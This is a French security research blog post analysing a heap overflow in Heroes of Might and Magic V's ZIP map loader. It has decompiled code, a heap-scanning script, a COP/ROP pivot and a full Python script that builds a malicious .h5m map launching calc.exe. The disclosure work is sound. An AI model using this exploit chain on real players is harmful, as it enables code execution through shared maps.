Exploiting Heroes of Might and Magic V

Rédigé par Thomas Dubier - 10/06/2025 - dans Exploit - Téléchargement

Heroes of Might and Magic V est un jeu vidéo de stratégie au tour par tour développé par Nival Interactive. Un éditeur de cartes est fourni avec le jeu. Les joueurs peuvent créer des cartes jouables en solo ou en multijoueur. Il s'agit d'un vecteur d'attaque intéressant à étudier. Dans cet article, nous détaillerons comment exécuter du code malveillant à partir de cartes de Heroes of Might and Magic V.

Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus

Introduction

Heroes of Might and Magic V est un jeu vidéo de stratégie développé par Nival Interactive. Il a été publié en 2006 par Ubisoft. Le jeu est basé sur le moteur de jeu Silent Storm. Nos recherches se sont basée sur la dernière version du jeu à ce jour, soit la 1.60 disponible sur GOG.com. Nous allons nous concentrer sur le traitement des ressources. Les assets (ou ressources), comme les cartes, peuvent représenter un vecteur d’attaque intéressant. Les joueurs peuvent créer leurs propres cartes à l’aide de l’éditeur fourni avec le jeu. Ces cartes peuvent être partagées sur des sites web comme www.maps4heroes.com.

Map Editor
Editeur de carte


Les cartes téléchargées doivent être placées dans le dossier Maps du répertoire du jeu. Les fichiers de cartes, malgré leur extension unique (.h5m), sont en réalité des archives zip. Chaque archive contient plusieurs fichiers :

  • name.txt nom de la carte en UTF-16
  • description.txt description de la carte en UTF-16
  • map.xdb fichier XML pour décrire les différents objets de la carte (Héros, Ville, etc.)
  • MapScript.xml, XML qui contient une référence vers un fichier Lua
  • MapScript.lua contient un script Lua qui sera exécuté, par exemple, lorsque des héros entrent dans une région spécifiée (le moteur Lua et les fonctions exposées représentent également une surface intéressante mais cela n'a pas été exploré dans le temps imparti).

Un fichier ZIP est une archive contenant des fichiers compressés individuellement. Heroes of Might and Magic V utilise sa propre bibliothèque pour manipuler les fichiers ZIP. La classe NZip::CZipReader lit les métadonnées des fichiers contenus dans le répertoire central. La classe CZipFileEntry est utilisée pour représenter les métadonnées d’une entrée dans la table du répertoire central.

Zip file format
Format de fichier ZIP

Vulnérabilité

Une vulnérabilité est présente dans l’une des méthodes de la classe CZipFileEntry, responsable de la décompression d’un fichier depuis l’archive ZIP. Par rétro-ingénierie, nous avons nommé cette méthode CZipFileEntry::GetContent. Elle appelle CZipReader::GetContent. Lors du lancement, le jeu lit toutes les cartes mais ne charge que les métadonnées de chaque archive ZIP. Les fichiers sont décompressés uniquement lorsque cela est nécessaire. Par exemple, lorsque le nom de la carte doit être affiché, CZipFileEntry::GetContent sera appelée sur l’objet représentant name.txt. Chaque en-tête de fichier local dans un fichier ZIP a la structure suivante :

Local file header
Zip local file header


Vous trouverez ci-dessous le pseudo-code de CZipReader::GetContent. La méthode mappe en mémoire l’en-tête local du fichier à décompresser [1]. Ensuite, elle initialise un objet de type CMemoryStream [2]. Cet objet facilite la manipulation d’un tableau d’octets. Le CMemoryStream est dimensionné en fonction du membre m_UncompressedSize, extrait de l’en-tête local du fichier ZIP [3]. La méthode CMemoryStream::SetSize appelle une fonction d'allocation mémoire nommée H5_alloc. Pour terminer, la méthode appelle la fonction Uncompress avec les paramètres suivants :

  • les données compressées, représentées par un objet de type CMemoryMappedFileFragment
  • la zone mémoire qui recevra les données décompressées, représentée par un objet CMemoryStream
  • la taille des données décompressées, telle qu’indiquée dans l’en-tête du fichier ZIP
  • un booléen indiquant s’il faut ignorer les 100 premiers octets décompressés
CMemoryStream *__thiscall CZipReader::GetContent(NZip::CZipReader *this, int entriesNo)
{
  [...]
  v3 = this->entries.startPtr[entriesNo];
  p_cfile = &this->cfile;
  CMemoryMappedFileFragment::CMemoryMappedFileFragment(&v14, &this->cfile, v3->m_OffsetOfLocalHeader, 0x1E); // [1]
  v16 = 0;
  v5 = (v14.__flags & 1) == 0 ? (ZipFileEntryHeader *)v14.pointer : 0;
  offsetCompressedData = (unsigned __int16)v5->m_FilenameSize + v5->m_FileExtraSize + v3->m_OffsetOfLocalHeader + 0x1E;
  if ( v5->m_CompressionMethod )
  {
    v10 = (CMemoryStream *)H5_alloc(0x18u);
    LOBYTE(v16) = 2;
    if ( v10 )
      mData = CMemoryStream::Init(v10); // [2]
    else
      mData = 0;
    m_UncompressedSize = v5->m_UncompressedSize;
    LOBYTE(v16) = 0;
    CMemoryStream::SetSize(mData, m_UncompressedSize); // [3]
    CMemoryMappedFileFragment::CMemoryMappedFileFragment(
      &mmCompressedData,
      p_cfile,
      offsetCompressedData,
      v5->m_CompressedSize);
    uncompressSize = v5->m_UncompressedSize;
    LOBYTE(v16) = 3;
    Uncompress(&mmCompressedData, mData, uncompressSize, 0);

La méthode Uncompress fait appel à la fonction inflateBack de la bibliothèque zlib [1].

int __thiscall Uncompress(
        CMemoryMappedFileFragment *MappedFileFragment,
        CMemoryStream *dstStream,
        int UncompressSize,
        bool inflate)
{
  [...]
  pCompressedData = MappedFileFragment->__rDataPtr;
  v6 = 0;
  dwCompressedDataSize = MappedFileFragment->__rDataPtrEnd - pCompressedData;
  v8 = 0;
  zStream.next_in = pCompressedData;
  zStream.avail_in = dwCompressedDataSize;
  memset(&zStream.zalloc, 0, 12);
  if ( inflate )
  {
    [...]
  }
  rc = inflateBackInit_(&zStream, 15, window, "1.2.3", 0x38);
  if ( !rc )
  {
    if ( (dstStream->field_14 & 1) != 0 )
      dataPtr = 0;
    else
      dataPtr = dstStream->dataPtr;
    inflateBack(&zStream, zlib_in, 0, zlib_out, &dataPtr); // [1]
    rc = inflateBackEnd(&zStream);
    if ( (dstStream->field_14 & 1) == 0 )
      v6 = dstStream->dataPtr;
    v8 = dataPtr - v6;
  }
  if ( v8 != UncompressSize )
    dstStream->field_14 |= 1u;
  return rc;
}

Selon la documentation zlib, inflateBack appelle deux sous-routines d'entrée/sortie fournies par l'appelant. Une fois les données décompressées, inflateBack appelle zlib_out.

typedef unsigned (*in_func)(void FAR *,
                            z_const unsigned char FAR * FAR *);
typedef int (*out_func)(void FAR *, unsigned char FAR *, unsigned);

ZEXTERN int ZEXPORT inflateBack(z_streamp strm,
                                in_func in, void FAR *in_desc,
                                out_func out, void FAR *out_desc);

zlib_out copie les données décompressées dans la zone mémoire associée au CMemoryStream créé précédemment. Cela provoque un heap overflow lorsque la taille des données décompressées dépasse la taille indiquée dans le champ m_UncompressedSize.

int __cdecl zlib_out(char **ppDest, const void *uncompressedData, unsigned int uncompressedDataSize)
{
  qmemcpy(*ppDest, uncompressedData, uncompressedDataSize);
  *ppDest += uncompressedDataSize;
  return 0;
}

Exploitation

Le fichier name.txt est le premier fichier décompressé à partir de la carte. Cela se produit lorsque l’utilisateur liste les cartes disponibles dans le menu "Création d'une partie standard". La vulnérabilité nous permet théoriquement de réécrire le pointeur vtable d'un objet existant. Pour cela, il faut que la zone mémoire utilisée pour la décompression soit allouée à des adresses inférieures à un objet déjà alloué. Cependant, le problème est de choisir un objet intéressant à écraser. Selon la taille du fichier name.txt, le programme n’allouera pas la mémoire à la même adresse. Les objets alloués peuvent être différents en fonction des actions de l’utilisateur. Il peut être utile de comprendre l’allocateur utilisé.

Comme on peut le voir dans l’extrait de code ci-dessous, la fonction H5_alloc n’utilise pas malloc pour des blocs de taille inférieure à 0x8000 octets [1]. Elle utilise à la place un allocateur personnalisé.

void *__cdecl H5_alloc(size_t size)
{
  [...]
  if ( size - 1 <= 0x7FFF ) // [1]
  {
    if ( g_HeapArena )
    {
      if ( ThreadLocalStoragePointer[TlsIndex]->initialized )
        return H5_alloc_internal((int)v1, size);
    }
    else
    {
      H5_heap_init();
      p_initialized = &ThreadLocalStoragePointer[v2]->initialized;
      *p_initialized = 1;
      if ( *p_initialized )
        return H5_alloc_internal((int)v1, size);
    }
    return malloc(size);
  }
  if ( size )
    return malloc(size);
  [...]
}

H5_alloc_internal utilise des listes chaînées de blocs libres ordonnés par taille. Cela est similaire à l’allocateur tcache sous Linux. Les blocs libres de même taille résident dans la même zone mémoire allouée par VirtualAlloc.

void *__fastcall H5_alloc_internal(int a2, signed int size)
{
  [...]
  category = 0;
  g_lastAllocatedSize = size;
  if ( size > 8 )
  {
    v3 = size - 1;
    LOBYTE(v3) = (size - 1) | 7;
    if ( (((_WORD)size - 1) & 0x7E00) != 0 )
    {
      v3 >>= 8;
      category = 16;
    }
    if ( (v3 & 0x1E0) != 0 )
    {
      v3 >>= 4;
      category += 8;
    }
    if ( (v3 & 0x18) != 0 )
    {
      v3 >>= 2;
      category += 4;
    }
    if ( (v3 & 4) != 0 )
    {
      v3 >>= 1;
      category += 2;
    }
    category = category + v3 - 6;
  }
  freeChunk = (void **)g_FreeList[category];
  nextFreeChunk = &g_FreeList[category];
  [...]
  *nextFreeChunk = *freeChunk;
  g_nextFreeChunk = nextFreeChunk;

En exécutant le code ci-dessus et en faisant varier le paramètre size, nous obtenons le tableau suivant qui associe la taille maximale d’un bloc à un numéro de liste chainée. Un bloc libre dont la taille est comprise entre 0x11 et 0x18 sera placé dans la liste libre numéro 2. Si le programme tente d’allouer 0x15 octets, il recherchera un bloc libre dans la liste chainée numéro 2.

Heap Chunks
Heap Chunks

Basé sur ces listes chaînées, nous pouvons analyser le tas à la recherche d’un objet intéressant. Le script idapython suivant scanne le tas à la recherche d’une vtable. Nous exécutons ce script juste avant que le programme n’alloue de l’espace pour la décompression.

import idaapi
import ida_segment

ea_free_list = idaapi.get_name_ea(idaapi.BADADDR,"g_FreeList")

rdata = ida_segment.get_segm_by_name(".rdata")
text  = ida_segment.get_segm_by_name(".text")

sizes = {1: 16, 2: 24, 3: 32, 4: 48, 5: 64, 6: 96, 7: 128, 8: 192, 9: 256, 10: 384, 11: 512, 12: 768, 13: 1024, 14: 1536, 15: 2048, 16: 3072, 17: 4096, 18: 6144, 19: 8192, 20: 12288, 21: 16384, 22: 24576, 23: 32504}

for i in range(1,24):
    free_chunk = idaapi.get_dword(ea_free_list + 4 * i)
    for k in range(0,5):
        chunk_after = free_chunk + sizes[i] * k
        address = idaapi.get_dword(chunk_after)
        name = idaapi.get_name(address)
        if address >= rdata.start_ea and address <= rdata.end_ea:
            print("[%d:0x%08.8x + %d * 0x%04.4x] .rdata: 0x%08.8x (%s)" % (i,free_chunk,k,sizes[i],address,name))
        if address >= text.start_ea and address <= text.end_ea:
            print("[%d:0x%08.8x + %d * 0x%04.4x] .text: 0x%08.8x (%s)" % (i,free_chunk,k,sizes[i],address,name))

Ci-dessous un exemple de sortie du script :

[6:0x15070900 + 3 * 0x0060] .text: 0x0063003c ()
[8:0x10590c00 + 1 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[8:0x10590c00 + 2 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[8:0x10590c00 + 3 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[8:0x10590c00 + 4 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[9:0x14d1ef00 + 3 * 0x0100] .rdata: 0x00e53fc8 (vtable__NDb::SWindowSimpleShared)
[9:0x14d1ef00 + 4 * 0x0100] .text: 0x006d003c ()
[10:0x10fb1800 + 3 * 0x0180] .rdata: 0x00e0df0c (??_7CWindowSimple@@6B@)
[15:0x10d38800 + 3 * 0x0800] .rdata: 0x00e33230 (vtable__NGScene::CLightStateNode)
[15:0x10d38800 + 4 * 0x0800] .rdata: 0x00e33230 (vtable__NGScene::CLightStateNode)
[16:0x1213a800 + 2 * 0x0c00] .rdata: 0x00e90053 ()
[19:0x1106a000 + 1 * 0x2000] .text: 0x00423942 ()
[19:0x1106a000 + 2 * 0x2000] .text: 0x00423942 ()

[6:0x150864e0 + 3 * 0x0060] .text: 0x0063003c ()
[8:0x105a5c40 + 1 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[8:0x105a5c40 + 2 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[8:0x105a5c40 + 3 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[8:0x105a5c40 + 4 * 0x00c0] .rdata: 0x00e2af50 (vtable__NDb::SAdvMapDescTag)
[9:0x14d13c00 + 1 * 0x0100] .text: 0x0065003c ()
[9:0x14d13c00 + 4 * 0x0100] .text: 0x0065003c ()
[15:0x10d37000 + 3 * 0x0800] .rdata: 0x00e33230 (vtable__NGScene::CLightStateNode)
[15:0x10d37000 + 4 * 0x0800] .rdata: 0x00e33230 (vtable__NGScene::CLightStateNode)
[16:0x1213a800 + 2 * 0x0c00] .rdata: 0x00e90053 ()
[19:0x11068000 + 1 * 0x2000] .text: 0x00423942 ()
[19:0x11068000 + 2 * 0x2000] .text: 0x00423942 ()
[20:0x12d70000 + 2 * 0x3000] .text: 0x005e4741 ()


[5:0x14fd9a40 + 1 * 0x0040] .rdata: 0x00e27cf4 (vtable__CBackgroundSimpleTexture)
[6:0x15095100 + 1 * 0x0060] .rdata: 0x00e3c0b8 (vtable__NGScene::CFileTexture)
[8:0x15e69d80 + 1 * 0x00c0] .text: 0x00410020 ()
[8:0x15e69d80 + 2 * 0x00c0] .text: 0x00530050 ()
[8:0x15e69d80 + 3 * 0x00c0] .text: 0x00410020 ()
[8:0x15e69d80 + 4 * 0x00c0] .text: 0x00750043 ()
[12:0x10ccab00 + 1 * 0x0300] .rdata: 0x00e53a9c (vtable__NDb::SBackgroundTiledTexture)
[12:0x10ccab00 + 2 * 0x0300] .rdata: 0x00e2b324 (vtable__NDb::SAdvMapDesc)
[12:0x10ccab00 + 3 * 0x0300] .rdata: 0x00e2b324 (vtable__NDb::SAdvMapDesc)
[15:0x10d34800 + 4 * 0x0800] .rdata: 0x00e33230 (vtable__NGScene::CLightStateNode)

Nous remarquons qu’après plusieurs tentatives, un objet de type NGScene::CLightStateNode semble toujours être positionné à 0x2000 octets après le premier bloc libre de la zone mémoire numéro 15.

Par conséquent, décompresser une carte avec un fichier name.txt plus grand que 0x2000 octets (et avec des métadonnées indiquant une taille décompressée de 0x800 octets) écrasera la vtable de l’objet NGScene::CLightStateNode.

La vtable est utilisée lorsque l’objet est libéré. Comme le binaire n’a pas l’ASLR activé, nous connaissons les adresses des sections (.text, .rdata, ...). Cependant, nous ne connaissons pas les adresses de la pile et du tas. Il ne reste plus qu’à trouver un moyen de faire un pivot. Si le registre ESP pointe vers notre payload dans le tas, nous pourrons enchaîner des gadgets se terminant par l'instruction ret.

En analysant l’appel lors de la libération de l’objet, nous remarquons que les registres ECX et ESI pointent vers l’objet écrasé.

.text:00B20444                 mov     eax, [esi]        ; get vtable from ESI
.text:00B20446                 push    1
.text:00B20448                 mov     ecx, esi          ; ECX = this
.text:00B2044A                 call    dword ptr [eax+8] 

En scannant les sections .text et .rdata à la recherche d’une adresse valide, nous trouvons à l’adresse 0x009c91d8 un pointeur vers un bout de code intéressant.

0x009c91d8 : 0x00d886c7
0x00d886c7 : xchg ebp, eax ; jl 0xd886b1 ; call ptr [ecx - 0x3d]

C’est le gadget le plus simple dans ce binaire que l'on peut utiliser pour obtenir un appel arbitraire. Il utilise une instruction call far. Par conséquent, nous devons écrire à l’adresse ECX - 0x3D une adresse et un sélecteur de segment de code. Le sélecteur de segment de code doit être 0x23 pour sélectionner le segment 32 bits sous Windows x64. Une explication détaillée de l’utilisation des registres de segments sous Windows est disponible dans cet article de blog : https://antonioparata.blogspot.com/2023/01/the-segment-memory-model-and-how-it.html. L’adresse pointera vers le prochain gadget à exécuter. Les gadgets qui se terminent par une instruction ret ne peuvent pas être utilisés puisque nous ne contrôlons pas le contenu de la pile, nous utilisons donc des gadgets se terminant par call ou jmp. Une chaîne de gadgets se terminant par ces instructions est communément appelée une COPChain/JOPChain.

Le schéma suivant décrit la chaîne COP/JOP utilisée pour le pivot. Les sections PADDING sont remplies de zéros. Si l’allocateur utilise l’un des blocs qui a été écrasé, un nextPointer à 0 indique la fin de la liste chaînée. Cela améliore la stabilité de l’exploit.

  • 1 et 2 : la vtable pointe vers un pointeur vers la section .text. C’est le premier gadget de la chaîne COP.
  • 3 : ce gadget pousse l’adresse de l’objet (ESI) sur la pile
  • 4 : ce gadget récupère l’adresse de l’objet dans ESP. ESP pointe maintenant vers l’objet NGScene::CLightStateNode corrompu.
  • 5 : ce gadget est nécessaire pour incrémenter ESP et commencer la chaîne ROP dans un espace inutilisé.
COP Chain
Étapes de la COPChain

Conclusion

Un utilisateur qui télécharge et installe des cartes provenant d’une source inconnue s’expose à un risque. Les cartes peuvent être utilisées pour installer du code malveillant. Nous avons réussi à exploiter cette vulnérabilité sur Windows 10 (version 10.0.19045.5487). L’exploit peut probablement être amélioré en utilisant un autre fichier que name.txt pour déclencher la vulnérabilité, ainsi qu’en utilisant une primitive de heap spray. Une idée serait d’utiliser le fichier map.xdb pour allouer des objets de taille choisie.

Video file

Exploit script

# -*- coding: utf-8 -*-
# -----------------------------------------------------
# Map Exploit Heroes of Might and Magic V
# Version : 1.60
# Tested  : Microsoft Windows [version 10.0.19045.5487]
# -----------------------------------------------------

import struct
from zipfile import *

IAT_LoadLibraryA   = 0x00DE313C
IAT_GetProcAddress = 0x00DE30AC
szKernel32Dll      = 0x00E3E940

# Gadget address
mov_ptr_ebx_edi     = 0x0083594b  # mov dword ptr [ebx], edi ; ret
pop_ebx_edi         = 0x004a704c  # pop ebx ; pop edi ; ret
jmp_dword_ptr       = 0x00432fe2  # jmp dword ptr [ebx]
ret                 = 0x00401005  # ret
pop_ebx             = 0x00405eb1  # pop ebx ; ret
jmp_eax             = 0x00569a81  # jmp eax
mov_esi_esp         = 0x0041de8d  # push esp ; pop esi ; ret
mov_ptr_esi_18h_eax = 0x00ac91ea  # mov dword ptr [esi + 0x18], eax ; ret

def write(address,value):
    p = struct.pack("<I",pop_ebx_edi)
    p+= struct.pack("<I",address)
    p+= struct.pack("<I",value)
    p+= struct.pack("<I",mov_ptr_ebx_edi)
    return p

def write_string(address,s):
    p=b""
    for i in range(0,len(s),4):
        chunk_s = s[i:i+4].encode('utf-8')
        chunk_s+= (4 - len(chunk_s)) * b"\x00"
        chunk = struct.unpack("<I",chunk_s)[0]
        p+= write(address + i,chunk)
    return p

# Gadget used for pivot
# 0x009c91d8 : 0x00d886c7
# 0x00d886c7 : xchg ebp, eax ; jl 0xd886b1 ; call ptr [ecx - 0x3d]
# 0x00a8f57b : push esi ; call dword ptr [ecx + 0x10]
# 0x004b6a20 : pop esi ; pop esp ; pop esi ; pop ebp ; pop ebx ; ret

ptr_calc = 0x01112F58 + len("WinExec\0")

# Prepare Payload
mapName = "Exploit\0".encode('utf-16')
payload = mapName
payload+= b"\x00"*(0x800 * 4 - 0x3d - len(mapName))
payload+= struct.pack("<I",0x00a8f57b)
payload+= struct.pack("<H",0x23)
payload+= b"\x00" * (0x37)
payload+= struct.pack("<I",0x009c91d8 - 0x08) # <- ECX + 0x00
payload+= struct.pack("<I", 2)                # ECX + 0x04 (2)
payload+= struct.pack("<I", 0)                # ECX + 0x08 (0)
payload+= struct.pack("<I", pop_ebx)          # ECX + 0x0C (0)
payload+= struct.pack("<I", 0x004b6a20)       # ECX + 0x10 (1)

payload+= write_string(0x01112F58,"WinExec\0")
payload+= write_string(0x01112F58 + len("WinExec\0"),"C:\\Windows\\System32\\calc.exe")
payload+= struct.pack("<I",pop_ebx)
payload+= struct.pack("<I",IAT_LoadLibraryA)
payload+= struct.pack("<I",jmp_dword_ptr) # ret 4
payload+= struct.pack("<I",mov_esi_esp)
payload+= struct.pack("<I",szKernel32Dll)
payload+= struct.pack("<I",mov_ptr_esi_18h_eax) # 0x04
payload+= struct.pack("<I",pop_ebx)             # 0x08
payload+= struct.pack("<I",IAT_GetProcAddress) # 0x0c
payload+= struct.pack("<I",ret)
payload+= struct.pack("<I",jmp_dword_ptr) # end with ret 8 0x10
payload+= struct.pack("<I",jmp_eax) # 0x14
payload+= struct.pack("<I",0xFFFFFFFF) # 0x18
payload+= struct.pack("<I",0x01112F58)
payload+= struct.pack("<I",0x00C0D918) # exit
payload+= struct.pack("<I",ptr_calc)
payload+= struct.pack("<I",0)

# Copy all files from the template map with the same compress type and compress level
# except name.txt file
with ZipFile('Template.h5m','r') as inputZip:
    with ZipFile('Exploit.h5m','w') as outputZip:
        for name in inputZip.namelist():
            zipInfo = inputZip.getinfo(name)
            if name == 'Maps/Multiplayer/Test/name.txt':
                outputZip.writestr(name,payload,zipInfo.compress_type,zipInfo.compress_level)
            else:
                with inputZip.open(name,'r') as fp:
                    outputZip.writestr(name,fp.read(),zipInfo.compress_type,zipInfo.compress_level)

# Parsing Zip File
ZIP_LOCAL_FILE_HEADER_MAGIC = 0x04034B50

with open("Exploit.h5m","r+b") as fp:
    # Search Local File Header for name.txt file
    while True:
        offset = fp.tell()
        magic = struct.unpack("<I",fp.read(4))[0] 
        if ZIP_LOCAL_FILE_HEADER_MAGIC == magic:
            fp.seek(offset + 0x12)
            compressed_size   = struct.unpack("<I",fp.read(4))[0]
            uncompressed_size = struct.unpack("<I",fp.read(4))[0]
            filename_len      = struct.unpack("<H",fp.read(2))[0]
            extra_field_len   = struct.unpack("<H",fp.read(2))[0]
            filename = fp.read(filename_len).decode('utf-8')
            if filename == 'Maps/Multiplayer/Test/name.txt': 
                # Patch Uncompressed Size to 0x800
                print("Compressed Size   : 0x%08.8x" % compressed_size)
                print("Uncompressed Size : 0x%08.8x" % uncompressed_size)
                print("Patching Uncompressed Size")
                fp.seek(offset + 0x16)
                fp.write(struct.pack("<I",0x800))
                break
            else:
                fp.seek(offset + 0x1E + filename_len + extra_field_len + compressed_size)
        else:
            print("Stop parsing at offset 0x%08.8x" % fp.tell())
            break

Références